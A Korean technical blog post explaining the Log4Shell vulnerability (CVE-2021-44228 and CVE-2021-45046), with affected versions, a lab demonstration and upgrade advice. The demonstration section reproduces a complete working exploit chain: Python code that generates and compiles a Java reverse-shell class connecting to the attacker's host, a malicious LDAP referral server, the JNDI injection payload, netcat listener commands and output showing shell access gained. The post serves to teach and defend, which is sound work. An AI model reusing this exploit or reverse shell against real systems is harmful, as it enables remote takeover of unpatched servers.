log4shell 취약점은 java 기반 로깅 라이브러리인 “Apache log4j
” 에서 발견된 치명적인 취약점이며 공식적으로 CVE-2021-44228 로 식별됩니다.
해당 취약점은 log4j 취약점, log4j JNDI Attack 등 다양한 이름으로 불립니다.
Log4shell은 악용하기 쉬운 RCE 취약점으로 VSS(Common Vulnerability Scoring System)의 심각도 점수는 10점 만점에 10점(CVSS v3.1) 을 받았습니다.
해당 취약점은 2021년 11월 24일 Apache에 비공개로 처음 보고되었으며, 2021년 12월 9일에 Log4Shell이 공개적으로 공개되었으며 초기에 Apache Log4j 버전 2.15.0으로 패치 되었습니다.
이 글에서는 Log4Shell의 동작 방식을 간략하게 설명하며, Log4Shell 취약점을 시연합니다.
Log4Shell 동작 방식
Log4Shell은 원격 코드 실행(RCE)을 허용할 수 있는 JNDI(Java Naming and Directory Interface™) 주입 취약점
입니다.
영향을 받는 Apache Log4j 버전의 기록된 메시지에 신뢰할 수 없는 데이터(예: 악성 페이로드)를 포함함으로써 공격자는 JNDI 조회를 통해 악성 서버에 연결할 수 있습니다.
아래 그림은 log4j 취약점 공격 과정과 보안 방법에 대해서 보여주고 있습니다. log4j JNDI Attack
공격 포인트가 되는 JNDI Lookup 기능은 log4j 2.0-beta9에 도입되었으며, LDAP 같은 디렉토리 서비스에 저장되어있는 JAVA 객체를 발견하고 참고(Lookup) 하기 위한 JAVA API로 쉽게 이야기해 분산된 환경 속에서 서로 간에 필요한 자원을 연결시켜 줄 수 있는 목적을 가지고 있습니다.
공격 과정을 간단하게 요약하면 다음과 같습니다.
- log4j 취약 버전을 사용하는 서버에 대해 공격자는 악성 JNDI LDAP 쿼리를 보냅니다.
- 취약 서버는 공격자의 LDAP 서버로부터 응답을 요청합니다.
- 공격자의 LDAP 서버는 응답으로 악성스크립트가 포함된 파일의 경로를 취약서버로 보냅니다.
- 취약서버는 공격자로부터 받은 악성스크립트를 다운로드 및 실행합니다.
CVE 관련 정보
Log4Shell은 원격 코드 실행(RCE) 취약점으로 CVE-2021-44228
, CVE-2021-45046
두가지가 대표적입니다.
CVE 정보는 아래와 같습니다.
1) CVE-2021-44228
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
[ 영향받는 버전 ]
- Apache Log4j2 2.0-beta9 ~ 2.15.0(보안 릴리스 2.12.2, 2.12.3 및 2.3.1 제외)
[ 설명 ]
- Log4j2 2.0-beta9 버전 이후부터 JNDI 기능이 추가 되었는데, LDAP 및 기타 JNDI 관련 엔드포인트에 대해 보호하는 기능이 없습니다.
- 공격자는 이러한 점을 악용하여 로그 메시지 또는 로그 메시지 매개 변수를 제어할 수 있는 request를 보내 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다.
[ 비고 ]
- Log4j 2.15.0부터 해당 동작은 기본적으로 비활성화 되었습니다.
- 버전 2.16.0(2.12.2, 2.12.3 및 2.3.1과 함께)에서 이 기능은 완전히 제거되었습니다.
- 해당 취약점은 log4j-core에만 해당되며 log4net, log4cxx 또는 기타 Apache Logging Services 프로젝트에는 영향을 미치지 않습니다.
2) CVE-2021-45046
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
[ 설명 ]
- Apache Log4j 2.15.0에서 CVE-2021-44228을 해결하기 위한 패치가 특정 구성에서 불완전한 것으로 확인되어 발생한 취약점 입니다.
[ 비고 ]
CVE-2021-44228 취약점에 대응한 2.15버전의 불완전성을 노린 취약점으로 공격원리는 CVE-2021-44228과 동일합니다.
“CVE-2021-44228” 취약점 시연
시연에 앞서, 사용된 poc는 아래 주소에 있습니다.
https://github.com/kozmer/log4j-shell-poc
1) Asset Info
- Webserver(victim): 192.168.0.20
- Attacker: 192.168.0.21
- LDAP sever: 192.168.0.21 (attacker와 동일)
2) POC 코드 분석
취약 서버의 LoginServlet.java 소스 코드를 보면 log4j를 사용해서 userName 정보를 로깅하고 있습니다.
// LoginServlet.java
package com.example.log4shell;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import com.sun.deploy.net.HttpRequest;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@WebServlet(name = "loginServlet", value = "/login")
public class LoginServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String userName = req.getParameter("uname");
String password = req.getParameter("password");
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
if(userName.equals("admin") && password.equals("password")){
out.println("Welcome Back Admin");
}
else{
// vulnerable code
Logger logger = LogManager.getLogger(com.example.log4shell.log4j.class);
logger.error(userName);
out.println("<code> the password you entered was invalid, <u> we will log your information </u> </code>");
}
}
public void destroy() {
}
}
LoginServlet.java
페이지 접속시 로그인화면이 나옵니다.
공격자는 취약점이 존재하는 로그인 폼에 악성행위를 유발하는 JNDI query를 넣어 공격을 시도합니다.
index login page
공격에 사용되는 poc코드를 분석해보면 아래와 같이 동작합니다.
1 - main 함수 및 payload 함수 실행
1. 파라미터로 아래의 정보를 입력 받습니다.
- userip: 공격자 자신의 ip
- webport: 악성 스크립트가 업로드된 웹서버 포트
- lport: netcat 등으로 열어놓은 listen 포트
def main() -> None: init(autoreset=True) print(Fore.BLUE + """ [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc """) parser = argparse.ArgumentParser(description='log4shell PoC') parser.add_argument('--userip', metavar='userip', type=str, default='localhost', help='Enter IP for LDAPRefServer & Shell') parser.add_argument('--webport', metavar='webport', type=int, default='8000', help='listener port for HTTP port') parser.add_argument('--lport', metavar='lport', type=int, default='9001', help='Netcat Port') args = parser.parse_args() try: if not check_java(): print(Fore.RED + '[-] Java is not installed inside the repository') raise SystemExit(1) payload(args.userip, args.webport, args.lport) except KeyboardInterrupt: print(Fore.RED + "user interrupted the program.") raise SystemExit(0)
2. 공격자 자신의 환경에 jdk가 세팅되어있는지 확인하고, payload 함수를 실행합니다.
def payload(userip: str, webport: int, lport: int) -> None:
generate_payload(userip, lport)
print(Fore.GREEN + '[+] Setting up LDAP server\n')
# create the LDAP server on new thread
t1 = threading.Thread(target=ldap_server, args=(userip, webport))
t1.start()
# start the web server
print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
httpd.serve_forever()
2 - 악성 스크립트 생성
generate_payload() 함수에서 “Exploit.java
라는 악성 스크립트를 생성 합니다.
해당 악성 스크립트는 “ProcessBuilder” Method로 “/bin/sh” 프로세스를 생성하여 공격자 서버의 9001 포트로 소켓 통신을 하도록 되어있습니다.
def generate_payload(userip: str, lport: int) -> None:
program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""" % (userip, lport)
# writing the exploit to Exploit.java file
p = Path("Exploit.java")
try:
p.write_text(program)
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
except OSError as e:
print(Fore.RED + f'[-] Something went wrong {e}')
raise e
else:
print(Fore.GREEN + '[+] Exploit java class created success')
3 - Service LDAP and Http Server
LDAP은 1389 포트, Http Server는 사용자가 입력한 WebPort(8000)로 서비스 됩니다.
해당 LDAP 서버에 요청을 하면 응답으로 Http Server의 Exploit(악성 스크립트)의 경로를 전송합니다.
def ldap_server(userip: str, lport: int) -> None:
sendme = "${jndi:ldap://%s:1389/a}" % (userip)
print(Fore.GREEN + f"[+] Send me: {sendme}\n")
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Http Server Directory listing
3) 취약점 시연
공격자 측에서, nc 포트(9001)를 열고 poc.py를 실행합니다.
$ nc -lvnp 9001
nc -lvnp 9001
poc.py 가 제대로 동작하면, 공격을 위한 페이로드가 아래와 같이 출력됩니다.
$ python3 poc.py --userip [user_up] --webport [web_port] --lport [lport]
run poc.py
페이로드를 취약서버의 userName에 넣고 전송합니다. injection payload
listening 중인 공격자의 nc 포트에 웹서버가 커넥트 되었고 ‘/bin/bash’가 실행하면서 쉘을 얻게됩니다.
$ nc -lvnp 9001
Ncat: Version 7.50 ( https://namp.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.0.20.
Ncat: Connection from 192.168.0.20:57640.
Access Success
취약점 대응 방안
JNDI LookUp 기능을 비활성화 하거나, 아래 버전 이상으로 업그레이드 합니다.
- Java 8 이상: Log4j 2.17.0 이상 버전으로 업데이트
- Java 7: Log4j 2.12.3 이상 버전으로 업데이트
- Java 6: Log4j 2.3.1 이상 버전으로 업데이트